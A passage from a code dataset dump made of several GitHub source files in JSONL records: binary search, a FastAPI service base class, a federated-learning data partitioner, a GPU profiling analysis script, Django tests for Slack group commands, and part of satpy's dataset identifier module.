mid-1\n return -1\n \ndef searchLast(nums: List[int], target: int):\n LAST = len(nums)-1\n left, right = 0, LAST\n while left <= right:\n mid = left + (right-left)//2\n if nums[mid] == target and (mid == LAST or nums[mid+1] > target):\n return mid\n elif target >= nums[mid]:\n left = mid+1\n else:\n right = mid-1\n return -1\n \ndef lastIndex(lst, value):\n return len(lst) - operator.indexOf(reversed(lst), value) - 1\n\nnums = [2,2]\nfor target in range(5):\n if target not in nums:\n if searchLast(nums,target) != -1:\n print(f'error: {target}')\n elif searchLast(nums,target) != lastIndex(nums, target):\n print(f'error: {target}')\n \n","repo_name":"wwotex/LEETCODE","sub_path":"MONTH_1/DAY_23/binarySearchFirstOccurrence.py","file_name":"binarySearchFirstOccurrence.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"955241077","text":"import abc\nfrom typing import List\n\nfrom fastapi import status\n\nfrom crittercarousel.api.misc import FormattedJSONResponse\nfrom crittercarousel.api.interfaces import CritterRouterInterface\n\n\nclass BaseService(metaclass=abc.ABCMeta):\n\n def __init__(\n self,\n router:CritterRouterInterface,\n path:str,\n methods:List[str],\n status_code:int=status.HTTP_200_OK,\n **kwargs\n ):\n\n self.router = router\n\n self.name = str(self)\n\n router.add_api_route(\n path,\n self.handle_request,\n methods=methods,\n status_code=status_code,\n response_class=FormattedJSONResponse,\n **kwargs)\n\n @abc.abstractmethod\n def handle_request(self, *args, **kwargs):\n pass\n","repo_name":"dodowaresrc/crittercarousel","sub_path":"crittercarousel/api/services/_base_service.py","file_name":"_base_service.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"31054845440","text":"# -*- codeing = utf-8 -*-\n# @Author: 13483\n# @Time: 2022/9/16 19:34\nimport math\nimport sys\n\nimport numpy as np\nimport torchvision\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom fedlab.utils.dataset.partition import CIFAR10Partitioner, MNISTPartitioner, CIFAR100Partitioner, SVHNPartitioner\n\n\n# 使用fedlab实现自定义dirichlet分布,并将结果保存为文件,下次加载即可使用\nfrom fedlab.utils.functional import load_dict, partition_report, save_dict\n\n\ndef dirichlet_part(args, trainset, alpha):\n num_clients = args.client_num\n seed = args.seed\n dataset = args.dataset\n if dataset == \"cifar10\":\n hetero_dir_part = CIFAR10Partitioner(trainset.targets,\n num_clients,\n balance=None,\n partition=\"dirichlet\",\n dir_alpha=alpha,\n verbose=False,\n seed=seed)\n if dataset == \"mnist\":\n hetero_dir_part = MNISTPartitioner(trainset.targets,\n num_clients,\n partition=\"noniid-labeldir\",\n dir_alpha=alpha,\n seed=seed)\n if dataset == \"cifar100\":\n hetero_dir_part = CIFAR100Partitioner(trainset.targets,\n num_clients,\n balance=None,\n partition=\"dirichlet\",\n dir_alpha=alpha,\n verbose=False,\n seed=seed)\n if dataset == \"svhn\":\n hetero_dir_part = SVHNPartitioner(trainset.labels,\n num_clients,\n partition=\"noniid-labeldir\",\n dir_alpha=alpha,\n verbose=False,\n seed=seed)\n return hetero_dir_part\n\n\n# def load_dict(path):\n# return load_dict(path)\n#\n#\n# def part_show(trainset, part, num_classes):\n# hist_color = '#4169E1'\n# csv_file = \"cifar10_hetero_dir_0.3_100clients.csv\"\n# partition_report(trainset.targets, part.client_dict,\n# class_num=num_classes,\n# verbose=False, file=csv_file)\n#\n# hetero_dir_part_df = pd.read_csv(csv_file, header=1)\n# hetero_dir_part_df = hetero_dir_part_df.set_index('client')\n# col_names = [f\"class{i}\" for i in range(num_classes)]\n# for col in col_names:\n# hetero_dir_part_df[col] = (hetero_dir_part_df[col] * hetero_dir_part_df['Amount']).astype(int)\n#\n# hetero_dir_part_df[col_names].iloc[:10].plot.barh(stacked=True)\n# plt.tight_layout()\n# plt.xlabel('sample num')\n# plt.savefig(f\"cifar10_hetero_dir_0.3_100clients.png\", dpi=400)\n\n\ndef split_test():\n num_classes = 10\n trainset = torchvision.datasets.CIFAR10(root=\"D:\\\\WorkSpace\\\\Pycharm\\\\data\\\\cifar10\", train=True, download=True)\n hetero_dir_part = CIFAR10Partitioner(trainset.targets,\n num_clients=20,\n balance=None,\n partition=\"dirichlet\",\n dir_alpha=0.05,\n verbose=False,\n seed=1)\n csv_file=\"D:\\\\WorkSpace\\\\Pycharm\\\\FedWay\\\\utils\\\\cifar10_blc_none_005_20clients.csv\"\n partition_report(trainset.targets, hetero_dir_part.client_dict,\n class_num=num_classes,\n verbose=False, file=csv_file)\n\n hetero_dir_part_df = pd.read_csv(csv_file, header=1)\n hetero_dir_part_df = hetero_dir_part_df.set_index('client')\n col_names = [f\"class{i}\" for i in range(num_classes)]\n for col in col_names:\n hetero_dir_part_df[col] = (hetero_dir_part_df[col] * hetero_dir_part_df['Amount']).astype(int)\n\n hetero_dir_part_df[col_names].iloc[:10].plot.barh(stacked=True)\n plt.tight_layout()\n plt.xlabel('sample num')\n plt.savefig(f\"cifar10_blc_none_005_20clients.png\", dpi=400)\n\n\nif __name__ == '__main__':\n split_test()\n\n # x = np.array(range(20))\n # print(x.shape[0])\n # np.random.seed(1)\n # y = np.random.choice(x, 7, replace=False)\n # z = np.setdiff1d(x, y, assume_unique=True)\n # print(x)\n # print(y)\n # print(z)\n\n","repo_name":"coldcoder126/FedWay","sub_path":"utils/split.py","file_name":"split.py","file_ext":"py","file_size_in_byte":4690,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"29838935846","text":"# Modified from Roofline-on-NVIDIA-GPUs with the url https://gitlab.com/NERSC/roofline-on-nvidia-gpus\n\nimport os\nimport numpy as np\nimport pandas as pd\nimport collections\nimport json\nimport csv\nimport math\n\ndatadir='.'\nend = 'adaptive_avg_pool2d_nsight.csv'\nfiles=[x for x in os.listdir(datadir) if x.endswith(end)]\nfiles.sort()\nfiles=[os.path.join(datadir,file) for file in files]\ndfs={}\n\n\nrepeat_number = pd.read_csv(open(\"adaptive_avg_pool2d_repeat_number.csv\"))\nALL_NUMBER = np.sum(repeat_number.values)\nNUM_Metrics = 21\nNUM_DEDU = len(repeat_number.values)\n\ndef get_input_data():\n with open(\"./adaptive_avg_pool2d_dedu.json\", \"r\") as f:\n arg_data = json.load(f)\n arg_data_length = len(arg_data[\"input_size\"])\n in_sizes = []\n for i in range(arg_data_length):\n in_size = 1\n for dim in arg_data[\"x1\"][i]:\n in_size *= dim\n in_sizes.append(in_size)\n return in_sizes\n\ndef get_dedu_input_data():\n with open(\"./adaptive_avg_pool2d_dedu.json\", \"r\") as f:\n arg_data = json.load(f)\n arg_data_length = len(arg_data[\"input_size\"])\n in_sizes = []\n for i in range(arg_data_length):\n in_size = 1\n for dim in arg_data[\"input_size\"][i]:\n in_size *= dim\n in_sizes.append(in_size)\n return in_sizes\n\ndef get_dedu_input_info():\n with open(\"./adaptive_avg_pool2d_dedu.json\", \"r\") as f:\n arg_data = json.load(f)\n arg_data_length = len(arg_data[\"input_size\"])\n in_infos = []\n for i in range(arg_data_length):\n in_info = str(arg_data[\"input_size\"][i][0])\n for dim in range(len(arg_data[\"input_size\"][i])-1):\n in_info += \"x\" + str(arg_data[\"input_size\"][i][dim+1])\n in_infos.append(in_info)\n return in_infos\n\ndef get_input_output_data():\n with open(\"adaptive_avg_pool2d_dedu.json\", \"r\") as f:\n arg_data = json.load(f)\n arg_data_length = len(arg_data[\"input_size\"])\n in_sizes = []\n out_sizes = []\n ratio_list = []\n for i in range(arg_data_length):\n in_size = 1\n for dim in arg_data[\"input_size\"][i]:\n in_size *= dim\n assert len(arg_data[\"input_size\"][i]) == 4\n assert len(arg_data[\"output_size\"][i]) == 2\n out_size = arg_data[\"input_size\"][i][0] * arg_data[\"input_size\"][i][1] * arg_data[\"output_size\"][i][0] * arg_data[\"output_size\"][i][1]\n in_sizes.append(in_size)\n out_sizes.append(out_size)\n ratio_list.append(in_size/out_size)\n return in_sizes, out_sizes, ratio_list\n\ndef print_pretty(d):\n print(json.dumps(d, indent=4, ensure_ascii=False))\n\nwith open(\"adaptive_avg_pool2d_dedu.json\", 'r') as f:\n shape_dict = json.load(f)\n\nfor file in files:\n tag, ext = os.path.splitext(os.path.basename(file))\n dfs[tag]=pd.DataFrame()\n with open(file,'r') as f:\n df = pd.read_csv(file)\n df_group=pd.DataFrame()\n dft=pd.DataFrame(df, columns=['ID', 'Kernel Name','Metric Name', 'Metric Value'])\n \n dft['Metric Value'] = pd.to_numeric(dft['Metric Value'].str.replace(r',',''))\n dfmetric=pd.pivot_table(dft, index=['ID'], columns=['Metric Name'], values=['Metric Value'])\n dfmetric.to_csv(\"tmp.csv\")\n kernel_name = dft['Kernel Name']\n kernel_name_dedu = []\n for k in range(0,len(kernel_name),NUM_Metrics):\n kernel_name_dedu.append(kernel_name[k])\n df_kernel_name_dedu=pd.DataFrame(kernel_name_dedu,columns=['Kernel Name'])\n\n \n csv_reader = csv.reader(open(\"tmp.csv\"))\n os.remove(\"tmp.csv\")\n count = 0\n with open(\"nsight_result.csv\", 'w') as f:\n csv_writer = csv.writer(f)\n for line in csv_reader:\n if count != 0 and count != 2:\n csv_writer.writerow(line)\n count += 1\n f.close\n count -= 2\n \n dfmetric = pd.read_csv(open(\"nsight_result.csv\"))\n\n\n dfmetric['Time']=dfmetric['sm__cycles_elapsed.avg'] \\\n / (dfmetric['sm__cycles_elapsed.avg.per_second'] )\n dfmetric['Kernel Name'] = df_kernel_name_dedu['Kernel Name']\n\n df_list = ['Time', 'sm__sass_thread_inst_executed_op_dfma_pred_on.sum', \n 'sm__sass_thread_inst_executed_op_dmul_pred_on.sum', \n 'sm__sass_thread_inst_executed_op_dadd_pred_on.sum', \n 'sm__sass_thread_inst_executed_op_ffma_pred_on.sum', \n 'sm__sass_thread_inst_executed_op_fmul_pred_on.sum', \n 'sm__sass_thread_inst_executed_op_fadd_pred_on.sum', \n 'sm__sass_thread_inst_executed_op_hfma_pred_on.sum', \n 'sm__sass_thread_inst_executed_op_hmul_pred_on.sum', \n 'sm__sass_thread_inst_executed_op_hadd_pred_on.sum', \n 'sm__inst_executed_pipe_tensor.sum',\n 'gpu__compute_memory_throughput.avg.pct_of_peak_sustained_elapsed',\n 'dram__bytes.sum',\n 'lts__t_bytes.sum',\n 'l1tex__t_bytes.sum']\n\n df_dict = {i: []\n for i in df_list\n }\n \n cur_line = 0\n # kernel_keys = \"adaptive_avg_pool2d_kernel_cuda\"\n kernel_keys = \"at::native::\"\n k_start = False\n for index, kernel in dfmetric.iterrows():\n if kernel_keys in kernel['Kernel Name'].lower():\n for j in range(len(df_list)):\n curnum = 0.0\n for i in range(cur_line, cur_line+1):\n curnum += float(dfmetric[df_list[j]][i])\n df_dict[df_list[j]].append(curnum)\n cur_line += 1\n\n assert len(df_dict['Time']) == NUM_DEDU\n \n header = df_dict.keys()\n rows=pd.DataFrame(df_dict).to_dict('records')\n \n with open('deal.csv', 'w') as f:\n f.write(','.join(header))\n f.write('\\n')\n for data in rows:\n f.write(\",\".join(str(data[h]) for h in header))\n f.write('\\n')\n\n dfmetric = pd.read_csv(open(\"deal.csv\"))\n os.remove(\"deal.csv\")\n for i in df_list:\n dfmetric[i] = pd.to_numeric(dfmetric[i])\n\n\n dfmetric['CC FLOPs']= 2 * dfmetric['sm__sass_thread_inst_executed_op_dfma_pred_on.sum'] \\\n + dfmetric['sm__sass_thread_inst_executed_op_dmul_pred_on.sum'] \\\n + dfmetric['sm__sass_thread_inst_executed_op_dadd_pred_on.sum'] \\\n + 2 * dfmetric['sm__sass_thread_inst_executed_op_ffma_pred_on.sum'] \\\n + dfmetric['sm__sass_thread_inst_executed_op_fmul_pred_on.sum'] \\\n + dfmetric['sm__sass_thread_inst_executed_op_fadd_pred_on.sum'] \\\n + 2 * dfmetric['sm__sass_thread_inst_executed_op_hfma_pred_on.sum'] \\\n + dfmetric['sm__sass_thread_inst_executed_op_hmul_pred_on.sum'] \\\n + dfmetric['sm__sass_thread_inst_executed_op_hadd_pred_on.sum'] \n\n dfmetric['TC FLOPs']= 512 * dfmetric['sm__inst_executed_pipe_tensor.sum']\n dfmetric['all FLOPs']= dfmetric['CC FLOPs'] + dfmetric['TC FLOPs']\n \n dfmetric['AI HBM'] = dfmetric['all FLOPs'].div(dfmetric['dram__bytes.sum'])\n dfmetric['AI L2'] = dfmetric['all FLOPs'].div(dfmetric['lts__t_bytes.sum'])\n dfmetric['AI L1'] = dfmetric['all FLOPs'].div(dfmetric['l1tex__t_bytes.sum'])\n\n dfmetric['GFLOP/s'] = dfmetric['all FLOPs']/ dfmetric['Time'] /1024/1024/1024\n dfmetric['TC GFLOP/s'] = dfmetric['TC FLOPs']/ dfmetric['Time'] /1024/1024/1024\n dfmetric['Bandwidth'] = dfmetric['dram__bytes.sum']/dfmetric['Time']/1024/1024/1024\n dfmetric['bw_ratio'] = dfmetric['Bandwidth']/1555 * 100\n\n\n dfmetric.to_csv('pd.csv')\n dfs[tag]=dfmetric\n\n in_infos = get_dedu_input_info()\n sizes = get_dedu_input_data()\n sizes = [i*4.0/1024/1024 for i in sizes]\n\n min_insize = min(sizes)\n max_insize = max(sizes)\n num_of_ticks = 20\n stride_insize = (max_insize - min_insize) // num_of_ticks\n\n in_size_labels = [min_insize+stride_insize*i for i in range(num_of_ticks)]\n\n print('min size ', min_insize)\n \n if in_size_labels[-1] < max_insize:\n in_size_labels.append(in_size_labels[-1] + stride_insize)\n len_of_insize = 10\n \n new_max_insize = in_size_labels[len_of_insize - 1]\n num_of_ticks = 20\n new_stride_insize = (new_max_insize - min_insize) // num_of_ticks\n new_insize_labels = [min_insize+new_stride_insize*i for i in range(num_of_ticks)]\n if new_insize_labels[-1] < new_max_insize:\n new_insize_labels.append(new_insize_labels[-1] + new_stride_insize)\n \n len_of_insize = len(new_insize_labels)\n\n\n print('--------------------------------------------------------------------')\n print(new_insize_labels)\n\n\n label_data = []\n utilization_range_dict = {'0-20':[], '20-30':[], '30-40':[], '40-50':[], '50-60':[], '60-70':[], 'above70':[]}\n\n for key in utilization_range_dict.keys():\n utilization_range_dict[key] = np.zeros(len_of_insize)\n label_data.append(key)\n\n apr_insize_dict = {'0-20':[], '20-30':[], '30-40':[], '40-50':[], '50-60':[], '60-70':[], 'above70':[]}\n apr_outsize_dict = {'0-20':[], '20-30':[], '30-40':[], '40-50':[], '50-60':[], '60-70':[], 'above70':[]}\n apr_insizes, apr_outsizes, ratio = get_input_output_data()\n\n for idx, util in enumerate(dfmetric['bw_ratio'].values):\n if util < 20:\n key = 0\n elif util >= 70:\n key = 6\n else:\n key = int(util // 10) - 1\n apr_insize_dict[label_data[key]].append(apr_insizes[idx])\n apr_outsize_dict[label_data[key]].append(apr_outsizes[idx])\n print(NUM_DEDU, len(dfmetric['gpu__compute_memory_throughput.avg.pct_of_peak_sustained_elapsed'].values))\n for key in apr_insize_dict.keys():\n print('======================',key,'============================\\n')\n print(np.median(apr_insize_dict[key])*4.0/1024/1024, np.mean(apr_insize_dict[key])*4.0/1024/1024)\n print(np.median(apr_outsize_dict[key])*4.0/1024/1024, np.mean(apr_outsize_dict[key])*4.0/1024/1024)\n print(len(apr_insize_dict[key])/NUM_DEDU)\n\n\n for idx, util in enumerate(dfmetric['bw_ratio'].values):\n if util < 20:\n key = 0\n elif util >= 70:\n key = 6\n else:\n key = int(util // 10) - 1\n insize = sizes[idx]\n if insize >= new_insize_labels[-1]:\n continue\n utilization_range_dict[label_data[key]][math.floor((insize - min_insize)/new_stride_insize)] += 1\n \n for key in utilization_range_dict:\n for i in range(len(utilization_range_dict[key])):\n utilization_range_dict[key][i] = utilization_range_dict[key][i]/NUM_DEDU * 100\n\n\n for item in utilization_range_dict.items():\n print(item)\n\n\n import matplotlib.pyplot as plt\n from pylab import xticks, yticks, np\n\n fig, ax = plt.subplots()\n plt.xlim(0, max(new_insize_labels))\n plt.ylim(0, 60)\n xticks_labels = ['{}'.format(5 * i) for i in range(0,9)]\n xticks(np.linspace(0,40*1024,9,endpoint=True), xticks_labels, fontsize=10)\n h = ax.stackplot(new_insize_labels, utilization_range_dict.values(),\n labels=utilization_range_dict.keys(), alpha=0.8)\n\n legend_value = [\"Under20% 1.5 / 7.9 0.01 / 0.3\", \n \"20%-30% 19.1 / 66.1 0.1 / 0.4\", \n \"30%-40% 13.5 / 39.2 0.008 / 0.2\", \n \"40%-50% 12.5 / 64.1 0.01 / 0.2\", \n \"50%-60% 16 / 17 0.001 / 0.03\", \n \"60%-70% 28.7 / 28.9 0.002 / 0.06\", \n \"Above70% 68 / 92 0.01 / 0.01\"]\n leg = ax.legend(h, legend_value, loc='upper right', ncol=1, shadow=False, fancybox=False, prop={'size':9})\n leg.set_title(\" MEMBand input tensor output tensor\", prop={'size':9})\n leg._legend_box.align = \"left\"\n ax.set_xlabel('input data size (MB)')\n\n ax.set_ylabel('Actual Parameter Ratio(%)')\n plt.savefig('pooling.perf.png', format='png', bbox_inches='tight')\n plt.savefig('pooling.perf.pdf', format='pdf', bbox_inches='tight')","repo_name":"leleucas/Actual-Parameter-Collection-for-Machine-Learning-Operators","sub_path":"pooling/adaptive_avg/actualpara-perf-distribution/ncu.py","file_name":"ncu.py","file_ext":"py","file_size_in_byte":12607,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"18555521192","text":"from heatherr.groups.models import Group, Person\nfrom heatherr.tests import HeatherrTestCase, CommandTestMixin\n\n\nclass GroupsCommandTestCase(HeatherrTestCase, CommandTestMixin):\n\n def setUp(self):\n self.slackaccount = self.get_slack_account()\n\n def test_list(self):\n Group.objects.create(\n group_name='Group Name', slackaccount=self.slackaccount)\n self.assertCommandResponse('/bellman list', '\\n'.join([\n 'Groups:',\n '- Group Name',\n ]))\n\n def test_empty_list(self):\n self.assertCommandResponse('/bellman list', 'No groups exist')\n\n def test_list_member(self):\n group = Group.objects.create(\n group_name='group-name', slackaccount=self.slackaccount)\n person = Person.objects.create(\n person_id=self.default_user_id, slackaccount=self.slackaccount)\n person.groups.add(group)\n self.assertCommandResponse('/bellman list', '\\n'.join([\n 'Groups:',\n '- group-name (member)',\n ]))\n\n def test_members(self):\n group = Group.objects.create(\n group_name='my-group', slackaccount=self.slackaccount)\n person = Person.objects.create(\n person_name='Example Person',\n person_id=self.default_user_id, slackaccount=self.slackaccount)\n person.groups.add(group)\n self.assertCommandResponse(\n '/bellman members my-group',\n 'People in my-group: Example Person')\n\n def test_members_empty(self):\n Group.objects.create(\n group_name='my-group', slackaccount=self.slackaccount)\n self.assertCommandResponse(\n '/bellman members my-group',\n 'There are no people in my-group.')\n\n def test_members_nonexistent(self):\n self.assertCommandResponse(\n '/bellman members my-group',\n 'The group my-group does not exist.')\n\n def test_create(self):\n self.assertEqual(\n Group.objects.filter(group_name='my-group',\n slackaccount=self.slackaccount).count(), 0)\n self.assertCommandResponse(\n '/bellman create my-group',\n 'The group my-group has been created.')\n self.assertEqual(\n Group.objects.filter(group_name='my-group',\n slackaccount=self.slackaccount).count(), 1)\n\n def test_create_existing(self):\n Group.objects.create(\n group_name='my-group', slackaccount=self.slackaccount)\n self.assertCommandResponse(\n '/bellman create my-group',\n 'The group my-group already exists.')\n\n def test_join_nonexistent(self):\n self.assertCommandResponse(\n '/bellman join my-group',\n 'The group my-group does not exist.')\n\n def test_join(self):\n Group.objects.create(\n group_name='my-group', slackaccount=self.slackaccount)\n self.assertCommandResponse(\n '/bellman join my-group',\n ('You\\'ve joined my-group and will start receiving '\n 'announcements for this group.'),\n response_type='ephemeral')\n\n def test_leave_nonexistent(self):\n self.assertCommandResponse(\n '/bellman leave my-group',\n 'The group my-group does not exist.')\n\n def test_leave(self):\n group = Group.objects.create(\n group_name='my-group', slackaccount=self.slackaccount)\n person = Person.objects.create(\n person_id=self.default_user_id, slackaccount=self.slackaccount)\n person.groups.add(group)\n self.assertCommandResponse(\n '/bellman leave my-group',\n 'You\\'ve been removed from my-group.')\n self.assertEqual(person.groups.count(), 0)\n\n def test_announce(self):\n group = Group.objects.create(\n group_name='my-group', slackaccount=self.slackaccount)\n person = Person.objects.create(\n person_id=self.default_user_id, slackaccount=self.slackaccount)\n person.groups.add(group)\n self.assertCommandResponse(\n '/bellman announce my-group hello world!',\n '\\n'.join([\n 'Message from <@announcing-user-id> to `my-group`:',\n '<@%s>' % (person.person_id,),\n 'hello world!'\n ]),\n user_id='announcing-user-id')\n\n def test_announce_nonexistent(self):\n self.assertCommandResponse(\n '/bellman announce my-group hullo!',\n 'The group my-group does not exist.')\n","repo_name":"praekeltfoundation/heatherr","sub_path":"heatherr/groups/tests/test_commands.py","file_name":"test_commands.py","file_ext":"py","file_size_in_byte":4557,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"29"} +{"seq_id":"74481508877","text":"import logging\nimport numbers\nfrom collections import namedtuple\nfrom contextlib import suppress\nfrom copy import copy, deepcopy\nfrom enum import Enum, IntEnum\nfrom typing import NoReturn\n\nimport numpy as np\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_keys_from_config(common_id_keys, config):\n \"\"\"Gather keys for a new DataID from the ones available in configured dataset.\"\"\"\n id_keys = {}\n for key, val in common_id_keys.items():\n if key in config:\n id_keys[key] = val\n elif val is not None and (val.get(\"required\") is True or val.get(\"default\") is not None):\n id_keys[key] = val\n if not id_keys:\n raise ValueError(\"Metadata does not contain enough information to create a DataID.\")\n return id_keys\n\n\nclass ValueList(IntEnum):\n \"\"\"A static value list.\n\n This class is meant to be used for dynamically created Enums. Due to this\n it should not be used as a normal Enum class or there may be some\n unexpected behavior. For example, this class contains custom pickling and\n unpickling handling that may break in subclasses.\n\n \"\"\"\n\n @classmethod\n def convert(cls, value):\n \"\"\"Convert value to an instance of this class.\"\"\"\n try:\n return cls[value]\n except KeyError:\n raise ValueError(\"{} invalid value for {}\".format(value, cls))\n\n @classmethod\n def _unpickle(cls, enum_name, enum_members, enum_member):\n \"\"\"Create dynamic class that was previously pickled.\n\n See :meth:`__reduce_ex__` for implementation details.\n\n \"\"\"\n enum_cls = cls(enum_name, enum_members)\n return enum_cls[enum_member]\n\n def __reduce_ex__(self, proto):\n \"\"\"Reduce the object for pickling.\"\"\"\n return (ValueList._unpickle,\n (self.__class__.__name__, list(self.__class__.__members__.keys()), self.name))\n\n def __eq__(self, other):\n \"\"\"Check equality.\"\"\"\n return self.name == other\n\n def __ne__(self, other):\n \"\"\"Check non-equality.\"\"\"\n return self.name != other\n\n def __hash__(self):\n \"\"\"Hash the object.\"\"\"\n return hash(self.name)\n\n def __repr__(self):\n \"\"\"Represent the values.\"\"\"\n return \"<\" + str(self) + \">\"\n\n\nwlklass = namedtuple(\"WavelengthRange\", \"min central max unit\", defaults=(\"µm\",)) # type: ignore\n\n\nclass WavelengthRange(wlklass):\n \"\"\"A named tuple for wavelength ranges.\n\n The elements of the range are min, central and max values, and optionally a unit\n (defaults to µm). No clever unit conversion is done here, it's just used for checking\n that two ranges are comparable.\n \"\"\"\n\n def __eq__(self, other):\n \"\"\"Return if two wavelengths are equal.\n\n Args:\n other (tuple or scalar): (min wl, nominal wl, max wl) or scalar wl\n\n Return:\n True if other is a scalar and min <= other <= max, or if other is\n a tuple equal to self, False otherwise.\n\n \"\"\"\n if other is None:\n return False\n if isinstance(other, numbers.Number):\n return other in self\n if isinstance(other, (tuple, list)) and len(other) == 3:\n return self[:3] == other\n return super().__eq__(other)\n\n def __ne__(self, other):\n \"\"\"Return the opposite of `__eq__`.\"\"\"\n return not self == other\n\n def __lt__(self, other):\n \"\"\"Compare to another wavelength.\"\"\"\n if other is None:\n return False\n return super().__lt__(other)\n\n def __gt__(self, other):\n \"\"\"Compare to another wavelength.\"\"\"\n if other is None:\n return True\n return super().__gt__(other)\n\n def __hash__(self):\n \"\"\"Hash this tuple.\"\"\"\n return tuple.__hash__(self)\n\n def __str__(self):\n \"\"\"Format for print out.\"\"\"\n return \"{0.central} {0.unit} ({0.min}-{0.max} {0.unit})\".format(self)\n\n def __contains__(self, other):\n \"\"\"Check if this range contains *other*.\"\"\"\n if other is None:\n return False\n if isinstance(other, numbers.Number):\n return self.min <= other <= self.max\n with suppress(AttributeError):\n if self.unit != other.unit:\n raise NotImplementedError(\"Can't compare wavelength ranges with different units.\")\n return self.min <= other.min and self.max >= other.max\n return False\n\n def distance(self, value):\n \"\"\"Get the distance from value.\"\"\"\n if self == value:\n try:\n return abs(value.central - self.central)\n except AttributeError:\n if isinstance(value, (tuple, list)):\n return abs(value[1] - self.central)\n return abs(value - self.central)\n else:\n return np.inf\n\n @classmethod\n def convert(cls, wl):\n \"\"\"Convert `wl` to this type if possible.\"\"\"\n if isinstance(wl, (tuple, list)):\n return cls(*wl)\n return wl\n\n def to_cf(self):\n \"\"\"Serialize for cf export.\"\"\"\n return str(self)\n\n @classmethod\n def from_cf(cls, blob):\n \"\"\"Return a WavelengthRange from a cf blob.\"\"\"\n try:\n obj = cls._read_cf_from_string_export(blob)\n except TypeError:\n obj = cls._read_cf_from_string_list(blob)\n return obj\n\n @classmethod\n def _read_cf_from_string_export(cls, blob):\n \"\"\"Read blob as a string created by `to_cf`.\"\"\"\n pattern = \"{central:f} {unit:s} ({min:f}-{max:f} {unit2:s})\"\n from trollsift import Parser\n parser = Parser(pattern)\n res_dict = parser.parse(blob)\n res_dict.pop(\"unit2\")\n obj = cls(**res_dict)\n return obj\n\n @classmethod\n def _read_cf_from_string_list(cls, blob):\n \"\"\"Read blob as a list of strings (legacy formatting).\"\"\"\n min_wl, central_wl, max_wl, unit = blob\n obj = cls(float(min_wl), float(central_wl), float(max_wl), unit)\n return obj\n\n\nclass ModifierTuple(tuple):\n \"\"\"A tuple holder for modifiers.\"\"\"\n\n @classmethod\n def convert(cls, modifiers):\n \"\"\"Convert `modifiers` to this type if possible.\"\"\"\n if modifiers is None:\n return None\n if not isinstance(modifiers, (cls, tuple, list)):\n raise TypeError(\"'DataID' modifiers must be a tuple or None, \"\n \"not {}\".format(type(modifiers)))\n return cls(modifiers)\n\n def __eq__(self, other):\n \"\"\"Check equality.\"\"\"\n if isinstance(other, list):\n other = tuple(other)\n return super().__eq__(other)\n\n def __ne__(self, other):\n \"\"\"Check non-equality.\"\"\"\n if isinstance(other, list):\n other = tuple(other)\n return super().__ne__(other)\n\n def __hash__(self):\n \"\"\"Hash this tuple.\"\"\"\n return tuple.__hash__(self)\n\n\n#: Default ID keys DataArrays.\ndefault_id_keys_config = {\"name\": {\n \"required\": True,\n },\n \"wavelength\": {\n \"type\": WavelengthRange,\n },\n \"resolution\": {\n \"transitive\": False,\n },\n \"calibration\": {\n \"enum\": [\n \"reflectance\",\n \"brightness_temperature\",\n \"radiance\",\n \"radiance_wavenumber\",\n \"counts\"\n ],\n \"transitive\": True,\n },\n \"modifiers\": {\n \"default\": ModifierTuple(),\n \"type\": ModifierTuple,\n },\n }\n\n#: Default ID keys for coordinate DataArrays.\ndefault_co_keys_config = {\"name\": {\n \"required\": True,\n },\n \"resolution\": {\n \"transitive\": True,\n }\n }\n\n#: Minimal ID keys for DataArrays, for example composites.\nminimal_default_keys_config = {\"name\": {\n \"required\": True,\n },\n \"resolution\": {\n \"transitive\": True,\n }\n }\n\n\nclass DataID(dict):\n \"\"\"Identifier for all `DataArray` objects.\n\n DataID is a dict that holds identifying and classifying\n information about a DataArray.\n \"\"\"\n\n def __init__(self, id_keys, **keyval_dict):\n \"\"\"Init the DataID.\n\n The *id_keys* dictionary has to be formed as described in :doc:`../dev_guide/satpy_internals`.\n The other keyword arguments are values to be assigned to the keys. Note that\n `None` isn't a valid value and will simply be ignored.\n \"\"\"\n self._hash = None\n self._orig_id_keys = id_keys\n self._id_keys = self.fix_id_keys(id_keys or {})\n if keyval_dict:\n curated = self.convert_dict(keyval_dict)\n else:\n curated = {}\n super(DataID, self).__init__(curated)\n\n @staticmethod\n def fix_id_keys(id_keys):\n \"\"\"Flesh out enums in the id keys as gotten from a config.\"\"\"\n new_id_keys = id_keys.copy()\n for key, val in id_keys.items():\n if not val:\n continue\n if \"enum\" in val and \"type\" in val:\n raise ValueError(\"Cannot have both type and enum for the same id key.\")\n new_val = copy(val)\n if \"enum\" in val:\n new_val[\"type\"] = ValueList(key, \" \".join(new_val.pop(\"enum\")))\n new_id_keys[key] = new_val\n return new_id_keys\n\n def convert_dict(self, keyvals):\n \"\"\"Convert a dictionary's values to the types defined in this object's id_keys.\"\"\"\n curated = {}\n if not keyvals:\n return curated\n for key, val in self._id_keys.items():\n if val is None:\n val = {}\n if key in keyvals or val.get(\"default\") is not None or val.get(\"required\"):\n curated_val = keyvals.get(key, val.get(\"default\"))\n if \"required\" in val and curated_val is None:\n raise ValueError(\"Required field {} missing.\".format(key))\n if \"type\" in val:\n curated[key] = val[\"type\"].convert(curated_val)\n elif curated_val is not None:\n curated[key] = curated_val\n\n return curated\n\n @classmethod\n def _unpickle(cls, id_keys, keyval):\n \"\"\"Create a new instance of the DataID after pickling.\"\"\"\n return cls(id_keys, **keyval)\n\n def __reduce__(self):\n \"\"\"Reduce the object for pickling.\"\"\"\n return (self._unpickle, (self._orig_id_keys, self.to_dict()))\n\n def from_dict(self, keyvals):\n \"\"\"Create a DataID from a dictionary.\"\"\"\n return self.__class__(self._id_keys, **keyvals)\n\n @classmethod\n def from_dataarray(cls, array, default_keys=minimal_default_keys_config):\n \"\"\"Get the DataID using the dataarray attributes.\"\"\"\n if \"_satpy_id\" in array.attrs:\n return array.attrs[\"_satpy_id\"]\n return cls.new_id_from_dataarray(array, default_keys)\n\n @classmethod\n def new_id_from_dataarray(cls, array, default_keys=minimal_default_keys_config):\n 